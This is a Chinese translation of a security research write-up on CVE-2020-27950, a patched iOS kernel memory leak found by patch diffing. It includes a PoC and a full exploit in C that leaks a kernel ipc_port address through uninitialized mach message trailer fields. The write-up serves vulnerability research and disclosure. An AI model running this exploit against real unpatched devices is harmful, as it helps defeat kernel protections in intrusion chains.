首页
活动
安全导航

iOS 1-day 捕获：发现和利用 CVE-2020-27950

阅读量395119

|

发布时间 : 2020-12-08 15:30:22

x
译文声明

本文是翻译文章，文章原作者 synacktiv，文章来源：synacktiv.com

原文地址：https://www.synacktiv.com/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak.html

译文仅供参考，具体内容表达以及含义原文为准。

 

简介

在11月初，Project Zero 就宣布Apple已经修补了一系列漏洞，这些漏洞已经被利用，该链主要包括3个漏洞：FontParser中的用户层RCE以及内核中的内存泄漏和类型混淆。在这篇文章中，我们将介绍如何识别和利用内核内存泄漏漏洞。

Apple修补在野被利用的完整漏洞链并不常见。原因有以下几点:

  • 如果利用代码公开，它们将提供有关iOS最新版本的最新利用方法，其中包括越来越多的安全缓解机制;
  • 即使利用代码不可用，内核漏洞也可能引起大家极大的兴趣，这是一个完整的链，意味着要突破坚固的沙箱，以便能够从用户层应用程序利用内核。

由于Project Zero没有发布任何关于漏洞和利用方法的细节，我们开始自己挖掘它们。

 

Bindiffing 非常容易

令人惊讶的是，苹果在iOS 12.4.9中也选择了修复这些旧设备上的漏洞。苹果之所以选择这样做，可能是因为苹果希望尽可能多地保护用户，因为这些漏洞会被外界利用。

从安全研究员的角度来看,这个选择是一个礼物：我们可以获取一个已经修补了漏洞的iOS 12.4.9内核，并将其与iOS 12.4.8内核进行比较，更改列表将会很少，因为没有新的功能，而且每一个更改都可能是一个漏洞修复！

获取内核并不是一件容易的事：为了方便我们可以使用网站ipsw.me下载与旧版iPhone（例如iPhone 6）对应的iOS版本12.4.8和12.4.9的IPSW文件，通过解析苹果托管的公开XML文件，它会自动更新IPSW文件的链接。IPSW文件是包含各种文件的压缩文件，包括kernelcache.release.iphone7，这是我们iPhone型号的压缩内核二进制文件。

根据iPhone版本的不同，可以使用不同的压缩方法。可以在压缩的kernelcache头部中看到,目标iPhone6使用LZSS：

$ xxd -a kernelcache.release.iphone7 | head -n 10
00000000: 3083 d68f 3c16 0449 4d34 5016 046b 726e  0...<..IM4P..krn
00000010: 6c16 1e4b 6572 6e65 6c43 6163 6865 4275  l..KernelCacheBu
00000020: 696c 6465 722d 3134 3639 2e32 3630 2e31  ilder-1469.260.1
00000030: 3504 83d6 8f0b 636f 6d70 6c7a 7373 025a  5.....complzss.Z
00000040: b99c 01ae f208 00d5 cd8b 0000 0001 0000  ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0000  ................
*
000001b0: 0000 0000 0000 ffcf faed fe0c 0000 01d5  ................
000001c0: 00f6 f002 f6f0 16f6 f058 115a f3f1 20f6  .........X.Z.. .
000001d0: f100 19f6 f028 faf0 3f5f 5f54 4558 5409  .....(..?__TEXT.

从偏移量0x1b6开始是压缩二进制文件。lzssdec工具可以用来得到一个纯净版本的二进制内核：

$ lzssdec -o 0x1b6 < kernelcache.release.iphone7 > kernelcache.bin
$ file kernelcache.bin
kernelcache.bin: Mach-O 64-bit arm64 executable, flags:<NOUNDEFS|PIE>

现在我们有了两个内核二进制文件，我们可以开始diffing了。我们将在IDA Pro中使用Bindiff 6，其他工具也可以。IDA仅允许加载单个kext或包含其所有kext的内核。由于我们目前不知道漏洞的位置，因此我们加载所有东西！

一旦IDA自动分析完成后，我们可以在12.4.8 IDA实例中对12.4.9 IDB运行bindiff，下面是按相似度排序的结果:

这些结果超出了我们的预期！两个版本之间只有8个函数略有变化，都在内核中!

在这8个结果中，2个实际上是较小的指令顺序变化。在剩下的6个中，有5个增加了对bzero的调用，这使它们成为涉及“内存初始化问题”的内存泄漏漏洞的最佳目标。

iOS kernelcaches通常缺少符号，使用joker工具可以轻松识别某些入口点，如mach traps。调试字符串和公共XNU源也允许重命名许多函数，我们可以将5个修补的函数标识为：

  • mach_msg_send
  • mach_msg_overwrite
  • ipc_kmsg_get
  • ipc_kmsg_get_from_kernel
  • ipc_kobject_server

所有这些函数都处理ipc-ukmsg对象，kmsg对象是mach消息的内核表示形式，是结构的复杂集合。查看这些函数的源代码，可以将bzero调用链接到kmsg trailers的初始化。

 

ipc_kmsg trailer

Trailers是一个动态大小取决于其类型的结构。最小的trailer是一个8字节的结构，只包含类型和大小，而最大的是0x44字节,并且有多个字段，如以下XNU源代码所示：

typedef struct{
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
} mach_msg_trailer_t;

typedef struct{
    mach_msg_trailer_type_t       msgh_trailer_type;
    mach_msg_trailer_size_t       msgh_trailer_size;
    mach_port_seqno_t             msgh_seqno;
    security_token_t              msgh_sender;
    audit_token_t                 msgh_audit;
    mach_port_context_t           msgh_context;
    int                           msgh_ad;
    msg_labels_t                  msgh_labels;
} mach_msg_mac_trailer_t;

#define MACH_MSG_TRAILER_MINIMUM_SIZE  sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))

在创建新的kmsg时，内核还不知道在接收到消息时将请求哪种trailer类型。因此，它保留最大的大小，初始化一些字段，并将类型设置为最小的字段。例如ipc_kmsg_get中的trailer初始化为:

/*
 * I reserve for the trailer the largest space (MAX_TRAILER_SIZE)
 * However, the internal size field of the trailer (msgh_trailer_size)
 * is initialized to the minimum (sizeof(mach_msg_trailer_t)), to optimize
 * the cases where no implicit data is requested.
 */
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;

这看起来很有趣!如果我们能够读到一条mach消息，要求一个比预期更长的trailer，我们可能会检索未初始化的内存块。

当使用mach_msg()读取一个mach消息时，内核中到达trailer复制的执行流程为:

  • mach_msg_trap
    • mach_msg_overwrite_trap
      • mach_msg_receive_results
        • ipc_kmsg_add_trailer

在ipc_kmsg_add_trailer（）中，计算输出的trailer大小：

mach_msg_trailer_size_t
ipc_kmsg_add_trailer(ipc_kmsg_t kmsg, ipc_space_t space __unused,
    mach_msg_option_t option, thread_t thread,
    mach_port_seqno_t seqno, boolean_t minimal_trailer,
    mach_vm_offset_t context)
{
    mach_msg_max_trailer_t *trailer;

#ifdef __arm64__
    mach_msg_max_trailer_t tmp_trailer; /* This accommodates U64, and we'll munge */               [1]
    void *real_trailer_out = (void*)(mach_msg_max_trailer_t *)
        ((vm_offset_t)kmsg->ikm_header +
        mach_round_msg(kmsg->ikm_header->msgh_size));

    /*
     * Populate scratch with initial values set up at message allocation time.
     * After, we reinterpret the space in the message as the right type
     * of trailer for the address space in question.
     */
    bcopy(real_trailer_out, &tmp_trailer, MAX_TRAILER_SIZE);                                       [2]
    trailer = &tmp_trailer;
#else /* __arm64__ */
    (void)thread;
    trailer = (mach_msg_max_trailer_t *)
        ((vm_offset_t)kmsg->ikm_header +
        mach_round_msg(kmsg->ikm_header->msgh_size));
#endif /* __arm64__ */

    if (!(option & MACH_RCV_TRAILER_MASK)) {                                                       [3]
        return trailer->msgh_trailer_size;
    }

    trailer->msgh_seqno = seqno;
    trailer->msgh_context = context;
    trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);     [4]
[...]
  • 在[1]中，在栈上使用了新的trailer。
  • 在[2]中，kmsg trailer内容被复制到新trailer中。
  • 在[3]中，将根据MACH_RCV_TRAILER_MASK检查选项参数。这个选项参数来自用户层传递给mach_msg()的选项参数。
  • 在[4]中，真正的trailer大小是使用宏REQUESTED_TRAILER_SIZE()计算的。

通过提供MACH_RCV_TRAILER_MASK与mach_msg()匹配的选项，我们可以请求内核返回指定的trailer大小。支持的选项在message.h中定义:

#define MACH_RCV_TRAILER_NULL   0
#define MACH_RCV_TRAILER_SEQNO  1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT  3
#define MACH_RCV_TRAILER_CTX    4
#define MACH_RCV_TRAILER_AV     7
#define MACH_RCV_TRAILER_LABELS 8

#define MACH_RCV_TRAILER_TYPE(x)     (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK        ((0xf << 24))

因此，我们可以在选项参数中使用例如MACH_RCV_TRAILER_ELEMENTS（MACH_RCV_TRAILER_AUDIT）调用mach_msg（）以请求指定大小的trailer。。现在，在ipc_kmsg_add_trailer()中，当请求一个比初始化的更大的trailer时，会发生什么?在ipc_kmsg_get()中，我们看到只有msgh_sender、msgh_audit和msgh_labels可选字段被初始化，剩下3个字段未初始化。

[...]
    trailer->msgh_seqno = seqno;                                                                   [1]
    trailer->msgh_context = context;
    trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);

    if (minimal_trailer) {                                                                         [2]
        goto done;
    }

    if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {                                         [3]
        trailer->msgh_ad = 0;
    }

    /*
     * The ipc_kmsg_t holds a reference to the label of a label
     * handle, not the port. We must get a reference to the port
     * and a send right to copyout to the receiver.
     */

    if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
        trailer->msgh_labels.sender = 0;
    }

done:
#ifdef __arm64__
    ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));               [4]
#endif /* __arm64__ */

    return trailer->msgh_trailer_size;
}
  • 在[1]中，msgh_seqno和msgh_context在trailer副本中初始化。
  • 在[2]中，传递给函数的布尔值会被检查提前返回。当从mach_msg_receive_results()调用时，这个布尔值为false。
  • 在[3]中，函数检查传递的选项是否大于或等于MACH_RCV_TRAILER_AV，这意味着我们希望检索至少包含msgh_ad的结构。如果是这样，msgh_ad在trailer副本中被初始化为0。
  • 最后，在[4]中，ipc_kmsg_munge_trailer()将msgh_seqno、msgh_context、msgh_trailer_size和msgh_ad从trailer副本复制回原始的trailer。

观察并没有发现任何错误，所有字段似乎都已正确初始化，然后才能返回用户层。但是，让我们看一下REQUESTED_TRAILER_SIZE（）宏如何实际计算trailer大小：

#define REQUESTED_TRAILER_SIZE(is64, y) REQUESTED_TRAILER_SIZE_NATIVE(y)
#define REQUESTED_TRAILER_SIZE_NATIVE(y)                        \
    ((mach_msg_trailer_size_t)                              \
     ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_NULL) ?      \
      sizeof(mach_msg_trailer_t) :                          \
      ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SEQNO) ?    \
       sizeof(mach_msg_seqno_trailer_t) :                   \
      ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_SENDER) ?   \
       sizeof(mach_msg_security_trailer_t) :                \
       ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AUDIT) ?   \
        sizeof(mach_msg_audit_trailer_t) :                  \
        ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_CTX) ?    \
         sizeof(mach_msg_context_trailer_t) :               \
         ((GET_RCV_ELEMENTS(y) == MACH_RCV_TRAILER_AV) ?    \
          sizeof(mach_msg_mac_trailer_t) :                  \
         sizeof(mach_msg_max_trailer_t))))))))

当选项值已知时，该宏返回正确的大小，而当选项值未知时返回最大大小。这意味着通过设置一个小于MACH_RCV_TRAILER_AV的不存在选项，我们可以跳过msgh_ad字段初始化，同时仍可以恢复最大的trailer。之所以会出现这个bug，是因为值5和6都不是有效的MACH_RCV_TRAILER_XXX定义!

为了说明这种行为，我们可以编写一个简单的poc来从未初始化的内存中读取已知值。在iOS 13.x之前的版本中，可以在同一kalloc区域中分配管道缓冲区和ipc_kmsg，因为iOS 14之前没有分割堆。因此，我们可以创建一个填充已知值的管道缓冲区(例如kalloc.1024)。将其释放，然后发送一个mach消息，该消息的大小将使其也被分配到kalloc.1024中，并最终触发漏洞以读取已知值。这是代码（github链接）：

// CVE-2020-27950 simple PoC

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

#define MAGIC 0x416e7953 // 'SynA'

int main(int argc, char *argv[]) {
    mach_port_t port;
    int fd[2];

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[+] Allocating controlled (magic value %x) kalloc.1024 buffer\n", MAGIC);
    uint32_t *pipe_buff = malloc(1020);
    for (int i = 0; i < 1020 / sizeof(uint32_t); i++)
        pipe_buff[i] = MAGIC;
    pipe(fd);
    write(fd[1], pipe_buff, 1020);

    printf("[+] Creating kalloc.1024 ipc_kmsg\n");
    mach_msg_base_t *message = NULL;

    // size to fit in kalloc.1024, trust me, I'm an expert (c)
    mach_msg_size_t message_size = (mach_msg_size_t)(sizeof(*message) + 0x1e0); 

    message = malloc(message_size + MAX_TRAILER_SIZE);
    memset(message, 0, message_size + MAX_TRAILER_SIZE);
    message->header.msgh_size = message_size;
    message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0);
    message->body.msgh_descriptor_count = 0;
    message->header.msgh_remote_port = port;

    uint8_t *buffer;
    buffer = malloc(message_size + MAX_TRAILER_SIZE);

    printf("[+] Freeing controlled buffer\n");
    close(fd[0]);
    close(fd[1]);

    printf("[+] Sending message\n");
    mach_msg(&message->header, MACH_SEND_MSG, message_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    memset(buffer, 0, message_size + MAX_TRAILER_SIZE);
    printf("[+] Now reading message back\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, message_size + MAX_TRAILER_SIZE, 
        port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    mach_msg_mac_trailer_t *trailer = (mach_msg_mac_trailer_t*)(buffer + message_size);
    printf("[+] Leaked value: %x\n", trailer->msgh_ad);

    return 0;
}

PoC输出如下，有效地泄漏了我们magic值:

$ ./CVE-2020-27950_poc
[+] Allocating controlled (magic value 416e7953) kalloc.1024 buffer
[+] Creating kalloc.1024 ipc_kmsg
[+] Freeing controlled buffer
[+] Sending message
[+] Now reading message back
[+] Leaked value: 416e7953

 

那泄漏一个内核指针呢？

泄漏一个已知值证明了漏洞的存在。然而，使用它来可靠地泄漏一个感兴趣的值通常比较困难。

mach消息的一个有趣的特性是它们能够传输mach port。在正确发送port时，将使用mach_msg_port_descriptor_t结构：

typedef struct{
    mach_port_t                   name;
#if !(defined(KERNEL) && defined(__LP64__))
// Pad to 8 bytes everywhere except the K64 kernel where mach_port_t is 8 bytes
    mach_msg_size_t               pad1;
#endif
    unsigned int                  pad2 : 16;
    mach_msg_type_name_t          disposition : 8;
    mach_msg_descriptor_type_t    type : 8;
#if defined(KERNEL)
    uint32_t          pad_end;
#endif
} mach_msg_port_descriptor_t;

这种结构在用户层或内核中使用时是不同的。实际上，在用户层中，mach_port_t被定义为无符号int(标识port为不明值)，而在kernel中，它被定义为struct ipc_port指针。

这种差异意味着，使用多个mach_msg_port_descriptor_t结构发送的mach消息将导致内核ipc_kmsg结构包含多个指向port的指针。这样，我们就可以把感兴趣的数据放在内核缓冲区中，以后我们可能会泄露这些数据！

能够读取ipc_port指针的一部分的技巧是发送包含X mach_msg_port_descriptor_t的第一条消息，释放它，然后发送带有X – y mach_msg_port_descriptor_t的另一条消息，以便重用分配，并将其trailer写入先前消息描述符所在的位置。发送的描述符数量必须调整为满足2个条件：

  • ipc-kmsg分配应在同一个kalloc区域进行；
  • X和X- y描述符之间的差异应该足以使trailer在缓冲区中向前移动，从而使它与以前的一些消息描述符重叠。

实际上，在第一个消息（message）中发送50个描述符，在第二个消息（message）中发送40个描述符就满足了条件。由于该漏洞只允许泄漏4个字节的内存，因此我们还需要以4个字节为步长移动trailer。幸运的是，我们能够在mach消息中发送一些填充(padding)而不会触发任何问题（只要填充4字节的倍数），就可以有效地移动泄漏窗口。

我们还需要完成一个步骤:释放包含内核指针的ipc_kmsg缓冲区。如果我们尝试正常读取该消息，则指针将被替换为用户层mach名称，然后再复制回用户层。因此，我们必须触发一个错误，以便在不触发此行为的情况下释放分配。

下面是泄漏内核ipc_port地址的最终exploit(github链接):

// CVE-2020-27950 port pointer leak

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#include <mach/mach.h>

// good sizes to fit in kalloc.1024, trust me, I'm an expert (c)
#define LEAK_PORTS 50
typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;

typedef struct {
    mach_msg_header_t header;
    mach_msg_body_t body;
    mach_msg_port_descriptor_t sent_ports[LEAK_PORTS-10];
} message_small_t;

int main(int argc, char *argv[]) {
    mach_port_t port;
    mach_port_t sent_port;

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
    mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);

    mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
    mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);

    printf("[*] Will get port %x address\n", sent_port);

    message_big_t *big_message = NULL;
    message_small_t *small_message = NULL;

    mach_msg_size_t big_size = (mach_msg_size_t)(sizeof(*big_message));
    mach_msg_size_t small_size = (mach_msg_size_t)(sizeof(*small_message));

    big_message = malloc(big_size + MAX_TRAILER_SIZE);
    small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);

    printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
    memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
    big_message->header.msgh_remote_port = port;
    big_message->header.msgh_size = big_size;
    big_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    big_message->body.msgh_descriptor_count = LEAK_PORTS;

    for (int i = 0; i < LEAK_PORTS; i++) {
        big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
        big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        big_message->sent_ports[i].name = sent_port;
    }

    printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
    memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
    small_message->header.msgh_remote_port = port;
    small_message->header.msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;

    for (int i = 0; i < LEAK_PORTS - 10; i++) {
        small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
        small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
        small_message->sent_ports[i].name = sent_port;
    }


    uint8_t *buffer;
    buffer = malloc(big_size + MAX_TRAILER_SIZE);
    mach_msg_mac_trailer_t *trailer;
    uintptr_t sent_port_address = 0;

    printf("[*] Sending message 1\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message 1\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    small_message->header.msgh_size = small_size + sizeof(uint32_t);
    printf("[*] Sending message 2\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t), 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    printf("[*] Reading back message 2\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t));
    sent_port_address |= (uint32_t)trailer->msgh_ad;

    printf("[*] Sending message 3\n");
    mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    printf("[*] Discarding message 3\n");
    mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
    printf("[*] Sending message 4\n");
    mach_msg(&small_message->header, MACH_SEND_MSG, small_size + sizeof(uint32_t)*2, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

    memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
    printf("[*] Reading back message 4\n");
    mach_msg((mach_msg_header_t *)buffer, MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    trailer = (mach_msg_mac_trailer_t*)(buffer + small_size + sizeof(uint32_t)*2);
    sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;

    printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);

    return 0;
}

 

总结

在这篇文章中，我们研究了一个修补过的iOS内核，以获取有关已修补的内核内存泄漏漏洞的详细信息。我们找到了根本原因，编写了一个简单的PoC，并找到了可靠地获取mach port内核地址的方法。令人惊讶的是，这个漏洞在XNU中存在了这么长时间，因为它的代码是开源的，并且经过数百名黑客的严格审计。

细心的读者可能已经注意到，我们没有详细说明另一个被修补的漏洞，被苹果认定为一种类型的混淆。尽管使用bindiff可以很容易地找到此修复程序，但是对它的分析并不是那么简单，如果我们有足够的时间进行深入研究，它可能会成为未来博客中的主题!

本文翻译自synacktiv.com 原文链接。如若转载请注明出处。
分享到：微信
+10赞
收藏
qwert
分享到：微信

发表评论

qwert

这个人太懒了，签名都懒得写一个

  • 文章
  • 34
  • 粉丝
  • 10

TA的文章

相关文章

热门推荐

文章目录
安全客
商务合作
内容需知
合作单位
  • 安全客
  • 安全客
Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全客 All Rights Reserved 京ICP备08010314号-66